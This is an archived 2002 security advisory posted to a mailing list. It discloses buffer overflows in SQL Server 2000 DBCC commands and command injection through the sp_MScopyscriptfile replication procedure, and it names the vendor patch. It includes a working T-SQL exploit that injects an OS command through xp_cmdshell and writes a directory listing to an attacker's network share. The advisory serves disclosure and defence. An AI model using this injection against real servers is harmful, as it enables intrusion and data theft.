SQL Server 2000 Buffer Overflows and SQL Inyection vulnerabilities

From: c c (cesarc56@UOL.COM.AR)
Date: 07/25/02


Date:         Thu, 25 Jul 2002 17:50:00 -0300
From: c c <cesarc56@UOL.COM.AR>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

Security Advisory

Name: SQL Server 2000 Buffer Overflows and SQL
Inyection vulnerabilities.
System Affected : Sql Server 2000 all Service Packs.
Severity : High.
Author: Cesar Cerrudo.
Date: 07/25/2002
Advisory Number: CC070205

Overview:
Database Consistency Checkers (DBCCs) are command
console utilities that allow maintenance and other
operations to be performed on a SQL Server, some of the
DBCC functions are vulnerable to buffer overflows. The
explotation of these vulnerabilities could enable an
attacker to run code in the context of the SQL Server
service.
Some stored procedures used in database replication are
vulnerable to SQL injection. The explotation of these
vulnerabilities could enable an attacker to run OS
commands with xp_cmdshell in the context of the SQL
Server Agent Proxy account.

Details:

The following DBCC funcions contain unchecked buffers:
DBCC ADDEXTENDEDPROC ('xp_storedproc','XXX...') (a)
DBCC INDEXFRAG ('','XXX...') (b)
DBCC UPDATEUSAGE ('','XXX...') (c)
DBCC CHECKCONSTRAINTS ('XXX...') (c)
DBCC SHOWCONTIG ('XXX...') (d)
DBCC CLEANTABLE ('','XXX...') (d)
(a) Only members of sysadmin fixed server role can run
this command.
(b) Only members of sysadmin fixed server role,
db_owner or db_ddladmin fixed database role can run
this command.
(c) Only members of sysadmin fixed server role or
db_owner fixed database role can run this command.
(d) All users can run this command.
The buffer overflow in DBCC ADDEXTENDEDPROC affects SQL
Server 7.0 too.

Sp_MScopyscriptfile stored procedure is one of several
stored procedures (not mentioned here for time reasons)
vulnerables to SQL Inyection. Sp_MScopyscriptfile
create a directory in the SQL Server replication
directory and then copy a script file into it. It has
one input parameter @scriptfile that is the name of the
script file to be copied. In that parameter OS commands
can be inyected and then executed by xp_cmdshell.

---Code snip of sp_MScopyscriptfile stored procedure
where the inyection ocurrs---

select @cmd = N'copy "' + @scriptfile + N'" "' +
@directory + N'"'
exec @retcode = master..xp_cmdshell @cmd, NO_OUTPUT

----End code snip-----

SQL Server Agent Proxy account must be enabled to
succesfull exploit these SQL Inyection vulnerabilities
and is not enabled by default.

Exploit :

declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ > "\\attackerip\share\dir.txt"'
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''

More Details:
http://www.appsecinc.com/resources/alerts/mssql/02-
0011.html

Vendor Status :
Microsoft was contacted, we work together and Microsoft
release a fix.

Patch Available :
http://www.microsoft.com/technet/security/bulletin/MS02-
038.asp

Thanks!:
Special thanks to Aaron Newman (Application Security,
Inc.) for his
collaboration in testing.

_________________________________________________________________
UOLMAIL - Todo Argentino tiene derecho a lo mejor de Internet.
http://www.uolmail.com.ar



Relevant Pages

  • CERT Advisory CA-2002-22 Multiple Vulnerabilities in Microsoft SQL Server
    ... The Microsoft SQL Server contains several serious vulnerabilities that ... These vulnerabilities are public and have ... the same privileges as the operating system. ... a compromised Microsoft SQL Server can be used to take ...
    (Cert)
  • Re: Audit sa logins script
    ... And I don't think that the issue with SQL Server ... >I seriously believe this was intended as a backdoor opening worm. ... The vulnerabilities it exploited were what we've ...
    (microsoft.public.sqlserver.security)
  • @stake advisory: Multiple overflow and format string vulnerabilities in Microsoft SQL Server
    ... Multiple overflow and format string vulnerabilities ... Vendor Status: ... This advisory describes multiple vulnerabilities in Microsoft SQL Server ...
    (NT-Bugtraq)
  • Re: Anti-Virus on SQL Server? - Merits and Arguments?
    ... We run anti-virus software on ALL of our servers regardless of role. ... > to protecting the SQL Server. ... Let's say you protect against 95% of all virus vulnerabilities, ... protecting these servers but not all. ...
    (microsoft.public.sqlserver.security)
  • Re: Consequences of Error 644?
    ... If you get the errr while running DBCC - The error is telling you that a row ... but the index entry for some index is missing... ... It says that the problem is a SQL Server ... will happen repeatedly when the customer does the same work which caused the ...
    (microsoft.public.sqlserver.server)